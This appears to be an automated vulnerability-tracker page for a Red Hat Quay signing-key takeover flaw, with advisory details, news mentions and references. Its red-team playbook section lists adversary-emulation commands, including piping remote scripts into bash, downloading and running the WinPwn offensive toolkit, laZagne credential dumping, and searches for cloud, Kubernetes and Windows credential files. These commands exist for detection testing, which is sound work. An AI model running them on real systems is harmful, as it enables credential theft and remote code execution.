CVE-2026-123710
Overview
This vulnerability is an authentication bypass in Red Hat Quay's token issuance and key rotation mechanism. The flaw allows an unauthenticated client to obtain an anonymous registry token with a user-controlled audience claim. This token can then be presented to the service key rotation endpoint, enabling installation of a custom signing key without expiration. The affected component is the token-based authentication and key management subsystem within the Quay registry service.
Vulnerability Description
A flaw was found in Red Hat Quay. An unauthenticated client can obtain an anonymous registry token with an audience it controls, present that token to the service key rotation endpoint, and install its own approved signing key with no expiry. Registry tokens signed with that key are accepted for any repository, allowing read and write access to private images and replacement of repository tags.
Impact
An attacker without any authentication can gain unauthorized read and write access to private container images stored in the registry. They can replace repository tags and manipulate image content, potentially injecting malicious artifacts. This compromises the confidentiality and integrity of container images, risking downstream deployments and supply chain security. The vulnerability allows full control over repository contents, enabling extensive unauthorized operations within the affected registry environment.
Solution
Apply the security updates provided in Red Hat advisories RHSA-2026:99019 through RHSA-2026:99024, which address this vulnerability in Red Hat Quay. These advisories include patched package versions that correct the token issuance and key rotation logic. Detailed patch instructions and version requirements are available at https://access.redhat.com/errata/RHSA-2026:99019 and related URLs. No additional workarounds are specified beyond applying the vendor-provided updates.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (27)
27 mentions from 14 sources in the last 7 days BuzzFactor 85 / 100
-
social bsky.app @threatroundup.bsky.social 2026-11-13 14:48 UTCRed Hat Quay 3 CVE-2026-123710 is rated critical, CVSS 9.8. A flaw was found in Red Hat Quay. No public exploit reported yet. Check your exposure. #CVE #PatchManagement threatroundup.com/cve/cve-2026...Open source
-
social bsky.app @cysecuritynews.bsky.social 2026-11-13 13:48 UTCCritical Red Hat Quay Flaw Could Allow Attackers to Steal Private Container Images #CriticalFlaw #CyberSecurity #HackingOpen source
-
social bsky.app @undercodenews.bsky.social 2026-11-13 09:30 UTCCritical Red Hat Quay Vulnerability Allows Unauthenticated Attackers to Hijack Registry Signing Keys and Poison Private Container Images Red Hat has disclosed a critical security vulnerability in its Quay container registry that could allo…Open source
-
news gbhackers.com 2026-11-13 08:23 UTCCritical Red Hat Quay Vulnerability Allows Hackers to Hijack Private Container Registries - GBHackers NewsOpen source
-
social bsky.app @blackhatnews.tokyo 2026-11-13 07:40 UTCRed Hatの「Quay」に深刻な脆弱性、攻撃者がプライベートコンテナレジストリを乗っ取り可能に Red Hatは、同社のコンテナレジストリ製品「Red Hat Quay」に存在する、サービスキー乗っ取りの重大な脆弱性「CVE-2026-123710」を公表しました。CVSS v3.1のスコアは9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)です。 認証されていないリモートのクライOpen source
-
news cyberpress.org 2026-11-13 07:21 UTCCritical Red Hat Quay Vulnerability Allows Hackers to Hijack Private Container Registries - Cyber PressOpen source
-
social bsky.app @newssecia.bsky.social 2026-11-13 05:03 UTC🤖 CVE-2026-123710 (9.8): Red Hat Quay's key server accepts an anonymous /v2/auth token to plant an attacker signing key. Any reachable registry: private images read, overwritten, poisoned for every puller. All Quay 3/5. https://thehackerne…Open source
-
social infosec.exchange @cloud 2026-11-13 05:03 UTC🤖 CVE-2026-123710 (CVSS 9.8): Red Hat Quay's key server accepts an anonymous /v2/auth token to plant an attacker-controlled signing key. Any reachable registry can then have private images read, overwritten or poisoned for every later pull…Open source
-
news news.lavx.hu 2026-11-13 04:26 UTCCritical Red Hat Quay flaws expose private container images to theft and tampering - news.lavx.huOpen source
-
social bsky.app 2026-11-13 00:25 UTCRed Hatは、コンテナレジストリ「Quay」に存在する2件の重大な脆弱性を公表しました。 ■ CVE-2026-123710(CVSS 9.8) 認証トークンの検証不備により、攻撃者が自身の署名鍵を登録し、レジストリ内の非公開コンテナイメージを読み取り・上書きできる脆弱性です。 匿名アクセスが有効な環境では認証なしで悪用でき、登録された不正な署名鍵は再起動後も残存します。 ■ CVE-2026-110697(CVSS 9.9) 名前空間の検索処理に不備があり、一般ユーザ…Open source
-
social bsky.app 2026-11-13 00:25 UTCRed Hatは、コンテナレジストリ「Quay」に存在する2件の重大な脆弱性を公表しました。 ■ CVE-2026-123710(CVSS 9.8) 認証トークンの検証不備により、攻撃者が自身の署名鍵を登録し、レジストリ内の非公開コンテナイメージを読み取り・上書きできる脆弱性です。 匿名アクセスが有効な環境では認証なしで悪用でき、登録された不正な署名鍵は再起動後も残存します。 ■ CVE-2026-110697(CVSS 9.9) 名前空間の検索処理に不備があり、一般ユーザ…Open source
-
social bsky.app @undercodenews.bsky.social 2026-11-12 23:03 UTCRed Hat Quay Critical Vulnerability Could Expose Private Container Images and Compromise Registry Signing Keys + Video Introduction: A Critical Supply Chain Security Risk A critical security vulnerability in Red Hat Quay could allow attack…Open source
-
social infosec.exchange @AAKL 2026-11-12 17:46 UTCThis was updated yesterday: Red Hat Bugzilla: Bug 2568072 (CVE-2026-123710) - CVE-2026-123710 quay: Red Hat Quay: unauthenticated registry signing-key takeover via service key rotation https:// bugzilla.redhat.com/show_bug.c gi?id=2568072…Open source
-
news thehackernews.com 2026-11-12 16:27 UTCCritical Red Hat Quay Flaw Lets Attackers Read and Overwrite All Private Container Images in a Registry - The Hacker NewsOpen source
-
social bsky.app @infosec.skyfleet.blue 2026-11-12 14:36 UTCCritical Red Hat Quay Vulnerability Allows Unauthenticated Attackers to Hijack Container RegistriesOpen source
-
social bsky.app @lrbilool.bsky.social 2026-11-12 14:00 UTC🚨 Critical Red Hat Quay Vulnerability Allows Unauthenticated Attackers to Hijack Container Registries 📰 Cybersecurity News · Nov 12, 21:57 #CyberSecurity #Vulnerability 📖 Full story: https://cybersecuritynews.com/red-hat-quay-vulnerability…Open source
-
social bsky.app @wojak7537.bsky.social 2026-11-12 12:57 UTCRed Hat Quay's CVE-2026-123710, CVSS 9.8, lets unauthenticated attackers take over registry token signing and read or overwrite any repository's images; no fixed version is identified. https://agxsearch.ai/t/lwgzjk?utm_source=bluesky&utm_m…Open source
-
news secnews.gr 2026-11-12 12:24 UTCGoogle Chrome: New critical security update fixes 83 vulnerabilities - SecNews.grOpen source
-
social bsky.app @chuiho.net 2026-11-12 12:10 UTC[注意]Red Hat Quay の重大欠陥 CVE-2026-123710、非公開イメージに危険 コンテナ・レジストリ Red Hat Quay の署名鍵の管理に重大な欠陥(CVE-2026-123710、CVSS 9.8)。非公開イメージの閲覧や上書きのおそれ。修正版は未公表で、暫定対策あり。 https://chuiho.net/posts/red-hat-quay-cve-2026-123710-key-takeover/ #RedHatQuay #コンテナレジストリOpen source
-
news secnews.gr 2026-11-12 10:58 UTCGoogle: Gemini app launches on Apple CarPlay - SecNews.grOpen source
-
news secnews.gr 2026-11-12 10:40 UTCCVE-2026-123710: Critical vulnerability in Red Hat Quay - SecNews.grOpen source
-
news securityweek.com 2026-11-12 09:23 UTCCritical Red Hat Quay Vulnerability Could Expose Private Container Images - SecurityWeekOpen source
-
social bsky.app @eventmonitor.bsky.social 2026-11-12 00:35 UTCDeveloping: Critical Quay Vulnerability (CVE-2026-123710) https://cyber.eventmonitor.net/incident/EM-20261111-1357/critical-quay-vulnerability-cve-2026-123710/ #news #cybersecurityOpen source
-
social bsky.app @cve.skyfleet.blue 2026-11-11 17:33 UTCCVE-2026-123710 - Quay: red hat quay: unauthenticated registry signing-key takeover via service key rotation CVE ID : CVE-2026-123710 Published : Nov. 11, 2026, 3:17 p.m. | 43 minutes ago Description : A flaw was found in Red Hat Quay. An…Open source
-
social bsky.app @stemshop.bsky.social 2026-11-11 16:07 UTC🚨 CVE-2026-123710 — CVSS 9.8 CRITICAL A flaw was found in Red Hat Quay. An unauthenticated client can obtain an anonymous registry token with an ... 🔎 https://stemshop.top/cve/CVE-2026-123710 #CVE #CyberSecurity #InfoSecOpen source
-
social bsky.app @stackflag.bsky.social 2026-11-11 15:40 UTCCVE-2026-123710 - red hat quay 3 Red Hat Quay versions 3 and 5 let anyone without authentication obtain a special token and use it to install their own signing key that never expires. That key allows the attacker to… Too many irrelevant or…Open source
-
news cybersecuritynews.com 2026-11-11 08:00 UTCCritical Red Hat Quay Vulnerability Allows Unauthenticated Attackers to Hijack Container Registries - CyberSecurityNewsOpen source
References (12)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-123710 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2026:99019 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2026:99021 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2026:99022 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2026:99023 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2026:99024 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2026:99025 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2026:99026 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2026:99027 |
| access.redhat.com |
GitHub CVE
vdb-entry
x_refsource_REDHAT
|
https://access.redhat.com/security/cve/CVE-2026-123710 |
| access.redhat.com |
GitHub CVE
|
https://access.redhat.com/solutions/7149923 |
| bugzilla.redhat.com |
GitHub CVE
issue-tracking
x_refsource_REDHAT
|
https://bugzilla.redhat.com/show_bug.cgi?id=2568072 |